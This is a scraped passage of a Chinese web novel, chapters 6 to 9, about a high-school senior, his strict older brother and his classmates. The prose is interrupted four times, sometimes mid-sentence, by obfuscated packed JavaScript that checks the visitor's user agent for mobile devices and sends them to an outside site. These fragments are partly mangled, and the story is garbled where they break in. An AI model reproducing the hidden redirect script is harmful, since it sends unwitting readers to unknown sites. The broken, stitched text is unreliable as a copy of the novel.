纪羽没想到还有人等在那,快跑几步:“不好意思,我不知道你在等。” “没事没事。你的餐,拿好别洒了。” 纪羽接过来一掂量:“怎么那么重。” 小哥嘿嘿一笑:“那我就不知道了。” “你能不能和下单的说一声,晚上别送了。”纪羽头一次见到对工作那么有热情的人。 “哎呀,不行呀,我是在平台上抢单的。”配送费用丰厚得他想不热情都难,小哥跨上车恋恋不舍地:“对服务满意的话可以给个好评,下次还可以指定我配送哈!” 车尾灯唰地没了影,纪羽蹲在地上打开包装,纪羽一看就知道是韩姨做的,一样的饭菜配了两份,塞得满满当当。 另一份给谁的不言而喻。 纪羽都不知道纪律什么时候那么好心,那么爱多管闲事了。 但有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126399|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪律压根就没向韩姨特意叮嘱过。 纪羽蹲着不想起来,有点烦。 没几分钟,贺思钧从门外走进来,向右一瞥,停住脚步。 最近几年各个中学的校服都在改良,一眼看去,各有各的漂亮,只有一中还是那老一套的运动服。 没什么版型可言,颜色也是不起眼的灰加白,寡淡无味。 但似乎也就此凸显了纪羽那张脸。 脸小到两只手就可以拢在手心,眼睛却很大。眼角利落的折线拉长了眼型,眼尾稍稍上挑,像鸟捕食时翘起的尾巴,眼珠平日总是亮闪闪的,现在看上去却有点挫败的不忿。 贺思钧走过去挡住其他过路人的视线,蹲下来:“怎么了?” 纪羽看着地面,看着饭盒,就是不看面前的人,好像这样就能假装和他说话的人不是已经绝交的贺思钧:“我都说了我不要送饭,纪律就是不听,也不问我方不方便,我在学校吃得挺好的呀。” 贺思钧顺着他的视线一看就明白了,天气热,饭菜捂一天就坏了,就说:“另一份我去丢掉。” “没说要丢掉。” 纪羽脸皮很薄,被晒了一会儿面上就红了,泛着细密的痒,他皱着眉,用指背搓脸,脸颊上的小痣被搓得变形:“你吃了吧,当我们的散伙饭。我会和韩姨说清楚的,没有下次了。你还没吃饭吧?” 顶着纪羽“敢说吃了就完蛋了”的眼神,贺思钧摇摇头:“没有。” 返程路途遥远,纪羽也不想被人看到他和贺思钧相亲相爱地在教室吃饭,就近挑了个僻静的角落。 纪羽坐最上边的台阶,掌握地貌优势,贺思钧坐在下几阶,没试图通过对话拉近关系,让纪羽还算满意。 天气热,纪羽没吃两口就放了筷子。 饭菜吃来吃去好像也就那几样,纪羽觉得什么他都能尝一点,但纪律知道了一定会在他乱吃这件事上大做文章。 光是想到这一点,纪羽就觉得吃饭没什么意思。 “不吃了?” 贺思钧拎着吃得干干净净的空饭盒走上来:“再吃掉点,我拿去洗了。” “你要吃你吃吧,我不吃了。”纪羽半点没有留恋地把饭盒往前递,望着远处从食堂回来的人群,“贺思钧,我觉得我们就像上午那么相处挺好的,我们都是高三生了,也挺忙的,没时间打……” 嘴里猝不及防被塞了一口饭,纪羽转脸伸手就拍了一巴掌:“你干嘛!” 纪羽转了半天没找到垃圾桶,含着一口饭又实在难受,嚼吧嚼吧还是咽了。 贺思钧等他吃下去才开口:“吃干净点洗起来方便,你这样太浪费了。” “我不吃了!”纪羽挺有气势地喊了一句,唰地站起来,眼前发晕,嘴里又塞进一口饭。 贺思钧喂了两口就作罢,伸手扶住他:“吃不下就算了。” 纪羽咽下饭菜,咽不下喉咙里那口气,跨下台阶,在贺思钧鞋面狠狠碾过:“你给我等着。” 贺思钧低眉垂眼:“你说的,没有下次了。” “对,不仅没有下次了,你以后也别和我说话了。”纪羽脸又刺痛起来,他不该因为贺思钧的一点好就忘了贺思钧的恶劣之处,更不该认为他和贺思钧做不成好兄弟还能做普通同学。 他要和贺思钧彻彻底底决裂,他们俩只有反目成仇,没有和平共处! 7. 第 7 章 狠话是放出去了,但具体怎么实行,纪羽还没想好。 他趴在桌子上,听着四周此起彼伏的呼吸声,眼皮发沉。 算了,先睡吧。 他又不像某些人一样,午睡时间还要装模作样地奋笔疾书。以前和他玩的时候不急,现在奋起直追了。 又不是最近才决定上军校的。 纪羽努努嘴,把脸撇到左边闭上眼睡了。 贺思钧抬眼,看到纪羽对着他的是圆滚滚后脑勺。吊扇低速转动,带起几缕头发,一点一点地颤动。 铃声猝不及防响起。 纪羽勉力在铃声暂停的前一秒起身,单手撑住头,另一手在抽屉中摸索。 下午第一节课,是什么来着? 纪羽睁开眼,看到前桌是一个陌生的背影,再一转头,左边也换了人。 穿越了? “上课。” 迷糊起身问好后,纪羽才想起这两节是走班课。 高考改革后,高考选科不再简单划分为文理两方向,而是以“3+1+2”形式开展选科,语数英主科固定,再在物理和历史两个主要方向中选择,剩下科目可在政治、地理、生物、化学中进行选择。 十七班以物理、政治定班,班级中一多半人选择地理在本班上课,另一小半则选择化学,需到另一班级接受授课。 同时,其他班级中同样选择地理科目的学生则来到十七班上课。 平日只不过一起上几节课,纪羽和他们没什么交流,只对其中几个人比较眼熟,一时没反应过来。 眼睛转过一圈,纪羽回过神来抽出课本题册。 见一个个困顿不堪的学生都把眼睛睁开了,地理老师点点头让大家都坐下。 刚坐下,身后就传来像蛇吐气一样的气音,纪羽没理,结果后肩就被戳了一下。 那人坐在贺思钧的位置上,展开一个灿烂到露出十六颗牙的笑容,自以为很小声地压着音量说:“哎,同学,你们班是不是又换位置了,我一进来就感觉不对,我前两天来你都不坐这。” 纪羽扫他一眼,没理他。 那人被忽视也不气馁,又在座位上窸窸窣窣地捣腾东西。没多久,从后边就飞来一样东西,擦着纪羽的胳膊落到腿面。 老师在黑板上写板书,没看见。 这都什么时候了,还玩这种幼稚的游戏。 纪羽拿起来一看,是用纸折成的海螺,和掌心差不多大。 纪羽回头一看,那人手里也拿着一个,弯腰借着遮挡托在耳朵边,好像真能从里面听到什么,煞有其事地时不时点头。 他挑挑眉,向纪羽示意让他也试试。 “梁子尧!你在桌子底下干嘛呢,你别以为我看不到你在那挑眉瞪眼的,你给我站十分钟!” “对不起老师,我眼皮抽筋了。”梁子尧态度诚恳地站起来,还不忘和纪羽眨眨眼。 地理老师没理他,转身调出一条视频播放:“大家看一下这段纪录片啊,很清晰地展现了世界表层洋流的分布和规律……” 纪录片旁白语速催人入眠,不过似乎只有纪羽这么想,周围一圈人都抬头看得津津有味。 纪羽撑起脸,掌心疼痒,才发现那颗海螺还在他手里握着,从练习册上撕下的纸张软,很容易就变了形。 纪羽干脆把它拆散,也让梁子尧看到自己对和他玩在一块没兴趣。 海螺折起来工艺挺复杂,但对纪羽来说没难度,三两下就将它拆了个彻底。 纸上竟然还写了字。 【你是不是叫纪羽?前两天你请假了,难怪我没看到你。我们都一块儿上课一年了,你不会还不知道我叫什么名字吧?我们也算是同窗了,还是很有缘分的~唉其实主要是你后面的同学怎么样都不肯理我,还是你比较有意思一点。像我们长那么帅的人就该多交流交流,而且我看人还挺准的,一开始就猜到你会把它拆了,怎么样,厉害吧?】 字挺丑,纪羽看了好一会儿。 “梁子尧你再笑就站到外面去。” “老师我说我是微笑唇你信吗?” “你等我回头问问你班主任是不是那么回事!” 梁子尧懂事地没再出声。 纪羽把纸页揉成一团,垂下手臂手腕向后一抛,物归原主。 没脸没皮。 纪羽觉得自己比梁子尧好看多了。 梁子尧倒是比纪羽想的人缘要好得多,一下课他就差不多和所有人打了招呼,还从教室里跑了出去,在上课前两分钟又回来了。 “纪羽,给你吃。”梁子尧剥开一个青皮橘子,纪羽甚至看到汁水从表皮迸溅出来,清新酸甜的味道弥散,在人味很重的教室很难拒绝。 “我不要。” 很是自来熟的梁子尧掰下一瓣塞进嘴里:“甜的,不酸!是不是我剥开了,我再给你个新的,这个黄点。” 纪羽很习惯拒绝别人的好意:“我对橘子过敏。” 用不想、不喜欢的回答拒绝,好像都会伤害到别人的好意,尽管梁子尧看起来没那么轻易被伤害,纪羽还是撒了个小谎。 “哦哦,不好意思。”梁子尧跳起来,带着橘子离他远远的,“你没事吧,我把窗打开散散味道。” 好吧,梁子尧也没有特别烦人,他只是有点太热情,人也还不错。 如果他没有在课上坚持不懈地把折纸丢到纪羽的桌洞里的话,纪羽会给出他更高的评价。 最后二十分钟,梁子尧终于消停下来。 孩子静悄悄,必定在作妖。 纪羽借弯腰捡笔谨慎地向后看,发现梁子尧只是百无聊赖地在描课本上的页码,并模仿打印体,看起来挺安静认真。 地理老师剐人的视线也不再时不时向这边飘来。 纪羽从他的行为里得到了一点启发。 他写了张小纸条向梁子尧砸去。 小纸团在桌面蹦跶两下,落到手心,梁子尧惊喜地朝纪羽递去一眼,继而一本正经地收敛神色,打开。 【把你座位桌洞里的课本都拿给我。】 笔势洒脱,字迹圆劲流美,一看就是好字。 梁子尧不明所以,但还是照做了。 纪羽一面观察老师动向,时不时做做笔记,一面在底下“奋笔疾书”。 下课铃打响前,纪羽终于完成了他的伟业,把本子递回去。 下了课,梁子尧就跨步过来表忠心:“你放心,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126400|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对不会供出是你干的。” 纪羽看他一眼:“说了也没事,我又不怕。” 贺思钧不用猜都知道是他。 纪羽想象着贺思钧看到他的杰作时候的表现,前所未有地期待起来。 梁子尧看着他笑,也跟着笑,品出一点一起干坏事的惺惺相惜感,觉得和纪羽的距离拉得更近了:“我绝对绝对不说。” “快让让让让,我要上厕所。”男生拨开堵在门口的人,捂着肚子冲向走廊的尽头。 贺思钧被推到门边,教室闹哄哄的,他却只看向一处,眼中一片晦暗。 有什么值得那么开心的事呢? “刚走的人是谁?”贺思钧回到座位问道。 “……” 纪羽像没听到,自顾自收拾桌面。 “是十五班的,梁子尧。”坐在纪羽后桌的女生抽出纸巾叠好,细细擦干杯子外壁的水珠,“你别让他坐你位置了,他上课太吵了。” 贺思钧动作稍缓,扫了眼纪羽明显有点不自然的背影,又问:“他做什么了?” “没看到,一直偷偷摸摸地捣鼓,我上课记笔记都来不及,没空理他。” 苏林觉着贺思钧也挺怪,和她说话,眼神却一直拐到纪羽身上去。她握着纸巾站起身,远离这一片诡异且尴尬的氛围。 又是两节试卷讲评课,纪羽听得很认真,更主要且突出的表现是头也不敢抬地用红笔在空白试卷上填写。 每当李玄问起:这道题谁不会做或者做错了? 纪羽就会默默举起手来。 捱到下课,纪羽正要慢吞吞挪出教室,李玄喊住他:“欸纪羽,我差点忘了。” “怎么了老师?” 纪羽胸膛里砰砰跳,担心李玄是看到他那张空白的试卷要批评他。 “你哥哥说这段时间晚自习你都不上了,你收拾一下东西回去吧,应该有人接你吧?” 心像块石头咚地掉进峡谷,纪羽说:“应该有的。” 李玄摆摆手:“把假条拿了,去吧。” 纪羽以更慢的速度回到座位,想着已布置的作业把东西塞进书包。 贺思钧还在位置上,但纪羽也没心思看他有没有发现自己的报复,理完东西就目不斜视地走了。 李玄怎么不问问他的意见呢,纪羽走在路上,脑海里模仿着李玄的语气:纪羽,你自己有没有什么想法呢?虽然在学校待一整天是比较有压力的,但比一个人待在家里氛围好,和老师交流也方便。当然了,如果你身体不舒服,也可以及时和老师沟通,你条件很不错,老师相信你能考上一个理想的大学。 纪羽又一派正经地答:李老师,我可以跟得上进度,也会尽可能快点把落下的内容都补上。其他人能做到的,我也能做到,还会做得更好。 我什么都可以。 石子从脚尖飞出,咕噜噜飞出好远。 纪羽被浸泡在只有他一个人知道的酸雨里,吐出一串气泡,升不到水面就破碎。 他不够强硬,也不够顺从,光有虚伪的豪情壮志,却没有强健的体魄,意志也那么摇摆不定。 他总是这样,悬在半空,不上不下。 他那么瘦弱又无能。 8. 第 8 章 来接他的是纪律的朋友,无论是外形与性格都与纪律截然不同,是个很朴实平凡的老好人。 说话时像个弥勒佛一样堆着笑,对纪羽的态度也极为自然亲近。 他和纪律是初中同学,也算是看着纪羽长大的,纪羽叫他康年哥,更多时候是直接叫哥。 杨康年先是摘了纪羽的书包放到后座,又绕了一圈上车:“前段时间有只猫跑到车轮里吓了我一跳,还好听到叫声捞出来了,现在不仔细看看还是不放心啊。来,喝口水,今天上课感觉怎么样?” “挺好的,也没有很累。哥,你们换新制服啦?” “眼睛很灵啊小羽,这都看得出来,市里统一规定的,颜色改深了,没大动。我还以为能改帅点呢,人靠衣装马靠鞍,怎么着也得超过你哥吧。” 纪羽弯起眼睛笑:“他都没有制服,衣服都是自费的,还是康年哥的衣服好。” 杨康年是安安稳稳过日子的人,从小到大都没出过宁海市,在本地大学毕业后就考入了 宁海市综合行政执法局,最近有了结婚的打算,女友也是本地人。 纪羽小时候写理想的生活就是照着杨康年来写。 “你哥那西装可贵着呢,那可比不了。不过呀,照他这么赚钱我可受不了,一年到头没个休息日,上学那会儿我就没见过比他还用功的。” 纪羽默默不语,脸撑在车窗边,眼睛瞥到侧边:“哥,那辆车要加塞。” “没事,让让他。”杨康年缓缓踩下刹车,伸手揉了揉纪羽的脑袋,“不过你可别学你哥,他是骡子成精转世,咱们可是天生要享福的命,就让你哥拼命去,我们小羽安安稳稳地过日子就行。” 前边不知发生了什么,好半天才行进一小段路,鲜红的车尾灯像两颗幽深的眼,泛着冰冷的光泽。 “又不要他赚钱养我。”纪羽缩回副驾宽大的车座,嘟嘟囔囔的。 车辆好不容易挪到前头,眼看绿灯闪烁,身后的车喇叭催命似的响起,杨康年装作没听到,不急不缓地踩下油门,赶在黄灯前离开路口。 “小羽你看看吃点什么,上了高三,脑力消耗大,要吃好吃饱了才行。” “就吃之前那几样好了。” 纪羽推开菜单。这片区域他来来回回吃的也就那几家店,菜系口味都熟悉得不能再熟悉。 “纪律说有些食材你最近吃不了,我和主厨说一声看能不能替换,你先坐着休息休息。” 说完,杨康年就起身出了隔间。 这儿主打一个食材新鲜,上菜很慢,纪羽把书包带了进来,抽出题册打开。 “先生,这是我们店新上的茉莉龙井,您要不要来一杯尝一尝?” 服务员端着茶壶推开门,面上带着挑不出错的笑容。 对面的少年像被他吓了一跳,耳根突然红了一片,血色染到耳尖。 纪羽手上动作迅速地把题册塞回书包:“不用了,我喝白水就行。” “好的,需要您直接叫我就行,那我先出去了。” 纪羽矜持地点头,懊恼羞耻的情绪一股一股向上拍。 没被人看见吧? 别人那种好学生争分夺秒地做题就算了,他打开练习册一半都是叉,显得表演成分很高。 开车过来花了四十分钟,如果换做纪羽在一中的安排,这时候第一节晚自习已经过去了一半,他该死磕着做数学,勉强能做完三分之二。 纪羽又落后别人半小时。 陷入这样的恐慌之中,一顿饭下来纪羽食不知味,意识到的时候,时间又悄无声息地过去了一小时。 “哥,我要回家了。”纪羽有点着急。 杨康年安抚他说:“小羽,你先把药吃了,我去结账。”纪羽这才想起来自己忘了这件事。 他把药盒从书包的夹层里翻出来,每种数了两遍确定数量无误,一把倒进嘴里混着一口水咽下,快步走出去找杨康年。 “吃好了?”杨康年还在等收据,对纪羽的速度感到惊奇,“以前你哥还得追着你喂进去呢。” 杨康年还有幸当过抓捕的角色。 纪羽赧然:“那都是小时候了。” “也是,明年你都该上大学了,日子过得真快。” 纪羽没有和杨康年同样的感悟,一到家匆匆和杨康年道别就钻进了房间。 二十点十六分。 纪羽终于能正大光明无所顾忌地打开课本练习册继续学习。 四十分钟后,最初的安心感消退,纪羽盯着答案为7√803/127的几何大题最后一小问,用力地揉了揉脸,吐出一口无能为力的浊气。 他好像丧失了基本的判断能力。 先放一边吧,做他擅长的。 车辆缓缓减速,驶入庭院。 “可以了,就在这停吧。”纪律从钱包抽出两张纸币,“麻烦你了。” “您客气了。那我这就走了。”代驾跨上小电驴,揣着意外得来的小费,哼着歌走远。 纪律在车上点了根烟,抽完后打开循环系统,坐了一会儿才下车。 门外留了盏走廊灯,并不刺目,悠悠地亮着。 今夜无风无云,是个好天气。 但纪律显然没有赏月的好心情,二楼东侧的房间还亮着灯。 已经很晚了,连树枝都不再随意晃动。纪律踩着台阶上楼,皮鞋落在阶梯发出轻响。 纪律没有开灯,门缝里透出光亮很清晰。他下压把手,门丝毫未动,上锁了。 又在闹什么。 纪律不得不敲门,大约过了两分钟,纪羽才从门后探出头来。 “干什么?” 纪羽开口后就后悔了,因为他原本打算对纪律实行冷暴力,不理会他说的任何一句话,也不做回应。 他甚至都没打算开门的。 不过纪律不是那种敲门不开就会离开的人,纪羽还是在他用特殊手段打开房门前主动打开。 一旦计划有了缺口,就很难坚持下去了,纪律像喝了酒,比平常看起来还要凶。 纪律不顾纪羽的意愿拉开了房门,走了进去:“你在干什么,已经很晚了。” 纪羽回到书桌前拿起笔,用行动告诉纪律他在做正事。 纪律走过来,随手拿起一本习题,翻了两下丢回到桌面:“睡觉。” “我还没做完今天的作业,之前落下的也没补。” “那你应该合理安排时间,现在努力不代表你用功,你熬夜写题以为我还会表扬你?” “那是因为你总是打乱我的节奏!”纪羽极力克制着自己不与醉鬼一般见识,尽可能平和地说:“如果我在学校里上晚自习,就不会拖到那么晚了。” 纪羽不会埋怨牺牲下班时间来接他的杨康年,但不代表会不迁怒纪律。 或者说,纪律本来该为耽误他的时间负责。 “你要是学得下去,在哪里不是学。我让你回家休息,还耽误了你?” “我没有让你替我请假,我在学校都挺好的,不需要你让人给我送饭,也不需要提前放学。我学到现在就是因为我的时间不够用!” 纪羽顶着纪律沉冷的目光抗辩着,肩背绷紧成为直线,胸口像硌了什么柔软但坚韧的东西,吐不出来,也不会凭空消失。 纪律一定会用更难听的话来讽刺他,他一直以来都是那么做的,用一种夹杂着关怀、怜悯、嘲讽、不认可的语气拒绝采纳纪羽的想法,好像他一定是正确的。 他比纪羽大了整整十岁,有着更丰富的人生经验和开拓的眼界,当然有资格替纪羽掌舵。 纪羽被纪律用那种目光注视着,按在桌沿的指节用力到发白。 “随你。” 纪律轻飘飘地在纪羽耳边丢下一句。 继而是越来越远的脚步声,和房门被关上的声音。 纪羽眨眨眼睛,洗刷干涩的滋味,脖颈很僵硬,但他还是坚持转过头。纪律忘记把他的房门关上,卧室之外,是一片黑洞洞。 横亘在胸口的物质似乎消失得无影无踪,纪羽却好像并没有感到轻松,他只感到四肢无比沉重,坠着他沉入地面。 纪羽花了半个小时洗漱,躺到了床上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126401|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 按照计划,他应该花更多时间去追赶进度,洗过澡浑身干爽地躺在柔软的被窝里是不该在此时发生的事。 但大脑确实无法继续运转,处理更多信息,不过也有可能是纪羽向自己传达了允许偷懒的信号,毕竟他的身体很熟练且习惯于进入这种疲软的状态。 纪羽闭上眼睛,没一会儿就睡着了。 纪羽很清楚他在做梦。 纪泽兰和徐梁还有着农民对土地天然的喜爱,买下了一套带着庭院的洋楼。庭院的中间用打磨过的黑灰色石子铺了一条路,两侧种着鲜花,其中有一种纪羽叫不出名字的花,甚至顺着围栏攀爬了十多米远,开花时淡紫色的花卉开得密密麻麻。 徐梁曾经想在其中一侧种些瓜果,但纪羽舍不得清掉那些花,也就没能实施。 不过那都是十多年前的事了。 如今的庭院显得更加空旷,两侧的草坪修剪整齐,很适合在上边走来走去,但纪羽也没有这么做过。 纪羽在梦中还是四五岁的模样,急匆匆地迈着小短腿在石子路上跑。 “纪羽!你给我过来!” 纪律眨眼就出现在纪羽身后,不费多大力气,就把纪羽从地面提了起来。 “你在我床上放了什么?”纪律毫不掩饰他的怒气。 纪羽在空中挣扎了半天也没能逃脱纪律的魔爪,费劲地转过身,用软绵绵的手臂抱住纪律:“哥哥,好~” “你夸我也没用。”纪律把他丢到床上,指着床铺中间一对湿乎乎黏腻腻的东西,“你自己说,这是什么东西?” 纪羽慢慢地眨了两下眼睛:“不知道呀。” 他从床上站起来,叉着腰,大声对纪律说:“我不知道呀!” 纪律冷笑一声,从被窝深处摸索两下,又掏出一个圆滚滚透明的小球。 “你再说不知道,这袋泡大珠还是我给你买的!” 纪羽终于认出那是他辛辛苦苦养大的水宝宝,忙接到怀里:“这个是我的。” 纪律又指床面:“那这些不是你的?” 纪羽看看怀里的水宝宝,又看看床铺里不成型的透明泥状物体,很坚定地道:“那个不是我的!” “纪羽!”纪律用力地闭了闭眼,深呼吸,过了半晌又把他从床上抓下来,“你把这东西放到我床上干什么?” “生小宝宝呀,哥哥帮我孵。”纪羽很珍惜地摸了摸手心里的小水球,不知道为什么他放了那么多到纪律的被子里,只剩下这一个了。 其实他也想自己孵,但是他太忙了,早上要去看小鸟,中午要吃饭休息,下午要在院子里找蝴蝶顺便和邻居聊聊天。他是没有那么多空闲时间像鸟妈妈那样坐下来守着他的小宝宝的。 可惜纪律不能理解他,还把丢进一个巨大的盆子里,让他动手把床单洗干净。 纪羽失去了他的水宝宝,还被迫洗浸满了水变得异常沉重的床单累得手都抬不起来,低着头呜呜咽咽地掉眼泪。 不知道过了多久,纪律把他抱起来。 纪羽的手脚异常地酸痛,几乎连动都不能动弹了,他靠在纪律的肩上,抬起头发现到了一处陌生的地方,亮堂堂的,长长的走廊里始终有着白色的眩光。 纪羽又躺在了狭窄的床上,纪律站在门口,大概是视角的缘故,他看起来几乎和门一样高了。 房间也变得很小,拥挤,空气都不能流通。 纪羽坐起来,脚能轻松触到地面,他对纪律说:“我要回家。” 纪律说:不行。 无论问多少遍,纪律永远重复,不行,不行。 纪羽焦急又迫切,尽管他不记得自己为什么急躁,他站起身,闭着眼睛很用力地朝门口跑去。 只要撞开纪律,他就可以离开这儿了。 纪羽撞进一个人的怀里,不像是纪律的,纪律从不会抱他那么紧,像是要把他勒死在怀里。 纪羽用力挣扎,获得了些许呼吸的空间,他大口大口呼吸,抬起头,看到了贺思钧的脸。 贺思钧收紧手臂,把他勒进自己的胸膛,对他说:“不要跑。” 9. 第 9 章 纪羽在闹钟铃响前醒来,把压在胸口的被子远远踢开,然后俯下身,撩起睡裤上下左右检查了一番。 “我就知道没事。” 纪羽踢踢踏踏踩着拖鞋进洗手间刷牙、洗脸,顺便整理一下他鸟窝一样的头发。 镜子里映出一张臭脸,纪羽愣了愣,忙提起嘴角笑了笑。 比起人不能控制自己的梦境这一进化中极为失败的一点,他发现自己冷脸时和纪律略有相似更让人心情大打折扣。 幸好他和纪律相貌迥异,不然每天起来看着这张脸该多诡异。 纪羽被这想法吓了一跳,用力咕嘟漱口水吐了出去。 “小羽,怎么起那么早啊?”韩姨昨晚睡得早,并不知道在她入睡后兄弟俩又开启了场没有硝烟的战争,“你哥哥还没有下来呢。” “我自己坐地铁去,不用他送我,晚上我自己回。” 纪羽说着溜进厨房,准备挑样方便在路上吃的带走。 “哎呀,那怎么行的!坐地铁多挤啊,磕磕碰碰的怎么办喽?我去叫小纪赶紧下来。” 韩姨用围裙擦着手就要上楼去,纪羽随手拣了两块小米糕就往外蹿:“我先走啦,韩姨拜拜!” 韩姨追出两步,纪羽到底年轻有活力,一会儿工夫就出了院子,韩姨站在门口提高声量喊他:“别跑别跑!慢点走!” 纪羽再过不了多久就该成年了,这点小事本该不叫韩姨忧心,但她总觉得心里不安稳,好像纪羽出了家门,没有个知根知底的人看护他,他就会像鸡蛋似的,嘎嘣一下碎了。 正要调转脚步上楼,就看到纪律的半截身影出现在楼梯拐角。 韩姨打小报告:“小羽他自个儿走了,早饭也没带多少,说要坐地铁上学,早晚都不要你接送了,这刚走出去没多久呢!” 纪律倒显得不慌不忙,他依旧是一身严肃的正装,走到餐桌前坐下,像谈论工作那般不咸不淡: “随他去,别管他。” 得了自由的纪羽像刚出了笼子的鸟,边走边张望。 他常坐在车上倒没注意,去地铁站的两侧路旁满是卖早餐的商户和摊贩。 有好些学生和上班族排着队等餐,纪羽走马观花地四处看看,觉着韩姨的水平和开店的差不多,该叫纪律给韩姨多涨工资。 生煎包掀盖呲啦一声,香气和水汽一块涌出来,纪羽侧着身子躲开水汽,眼睛一晃就和店主对上了视线,店主很热情:“小帅哥来一份不,刚出锅的脆得很呢!” 纪羽不好意思地笑笑:“多少钱一份啊?” 而后但凡是和纪羽打上招呼的,都被纪羽照顾了自家生意,有几家还给了免单,让他下次再来。 纪羽拎了整整一手的早餐,低着头急匆匆地走进地铁站。 真正的早高峰时间还没到,车厢里还有不少空座,纪羽在靠近车门的位置坐下。 坐了几站,上车的人越来越多,纪羽不得不把早餐放在怀里用书包和人隔开接触。等捱到下车,纪羽才察觉胸口以下的地方有点灼痛。 “同学同学,你干啥呢!”纪羽走到校门口,突然被人扯住胳膊拽到一边。 纪羽不着痕迹地皱皱眉:“梁子尧,你干嘛呢!” 梁子尧神经也粗,没听出纪羽语气不好,还挺热心地说:“你没看到校门口检查的啊,你就拎着这么几袋吃的大摇大摆地进去了?” 纪羽探出头,果然看到有个秃顶男人站在门口盯着进校的学生上下打量。 “我不能带早饭吗?” “带早饭怎么不行,你拿的太多了,一个人能吃得了嘛。”梁子尧神神秘秘地拉开书包拉链,纪羽探头,里边一本书都没有,全是热腾腾的早饭。 “学校正抓带饭的呢,你得像我一样,把东西藏起来,你看,我还缝了保温层,热气就不会冒出来。” 纪羽犹豫:“不会撒吗?” “我帮你打结,保证不会撒。你看好了啊,得像我这么的,手一转——一拉——好了。” 梁子尧三两下把袋口打结塞进纪羽书包:“没想到你也是讲义气的那种人啊,你带早饭多少钱一份?” 纪羽把拉链拉上起身:“我不收钱,你难道还收费?这算什么讲义气。” 梁子尧看着纪羽就这么丢下他走了,大跨步追赶上去:“你说得对,以后我都不收了,向你学习,这五毛钱谁爱赚谁赚吧。” 纪羽并不关心他的生意如何,特意加快步子想甩掉他。 可梁子尧就像块狗皮膏药,一路黏着他到了班级门口,还非常自然地说道:“待会上课再见啊!” 教室里已经开了灯,纪羽没想到有人到得比他还早,进门一看,是贺思钧。 听到动静,他抬头看了纪羽一眼,似乎只是普通的打量,马上又低下头干自己的事。 纪羽板着脸走到自己座位,余光瞥到贺思钧桌面摊开的书正是他动过手脚的课本。 课本的每一面页码都被纪羽用油性笔涂黑,他甚至还细致地撕去了几页免修的内容,不贴近仔细看根本看不出来残留的毛边。 贺思钧正在一页一页手写页码。 纪羽微微上抬眉毛,眼睛迅速地眨巴两下,自然无比地在位置上坐下打开书包,抽出课本准备复习。 还以为昨天不在他会错过贺思钧看到这事的反应呢,没想到他运气还是很好的嘛。 然而得意不过几秒,纪羽就僵住了脸。 他的书包里全是早饭的味道了! 拿在手上气味还不算明显,在密闭的书包内层捂了几分钟,纸张就将各种味道都吸附了上去且加倍扩散。 纪羽不信邪地掏出一本就凑到鼻尖嗅嗅,结果发现无一例外,都沾着油腻腻的味道。 还不如被抓住批评两句呢…… 纪羽垂头耷脑地把书包清空,也没心思去看贺思钧的笑话了,拿出水杯准备接点水把药先吃了。 水杯一拿到手上就沉甸甸的,纪羽拧开看,竟然是满的,倒出来一点在手背上,温热。 他立刻转身看向后方,贺思钧两耳不闻窗外事,神色泰然自若,对纪羽的动作半点不关心似的。 纪羽动了动嘴唇,什么也没说,走出教室倒水,重新接了一杯。 回去时,在走廊撞见了展舒文。 “你的头发怎么回事?” 纪羽还当自己眼花了,绕着展舒文左左右右上上下下地看。 阳光照进走廊,展舒文的发丝折射出紫红色的光泽,在暗处还不算明显,光亮处简直如太阳一般耀眼。 别在展舒文额头的黑色发夹都更醒目了,她伸手摸了摸发尾,淡定道:“我妈昨天染发剩了一半染膏,她说我头发少,刚好够用。” 纪羽的眼睛简直不能从她头顶移开:“你进来的时候没有人抓你吗?” 展舒文说:“我前面有个人书包冒热气,被带到边上检查了,没人注意我。” “那待会老师问起来怎么办?” “我妈让我说,是天生的,必要时候她可以来学校为我作证。” “哦,你妈妈也是红头发了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126402|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展舒文皱眉:“不是,她挑染了红色,其他还有蓝色、紫色、橙黄。她可以作证我们家人可以按心情变换头发的颜色。” “好吧。”纪羽又好奇:“红色是什么心情?” 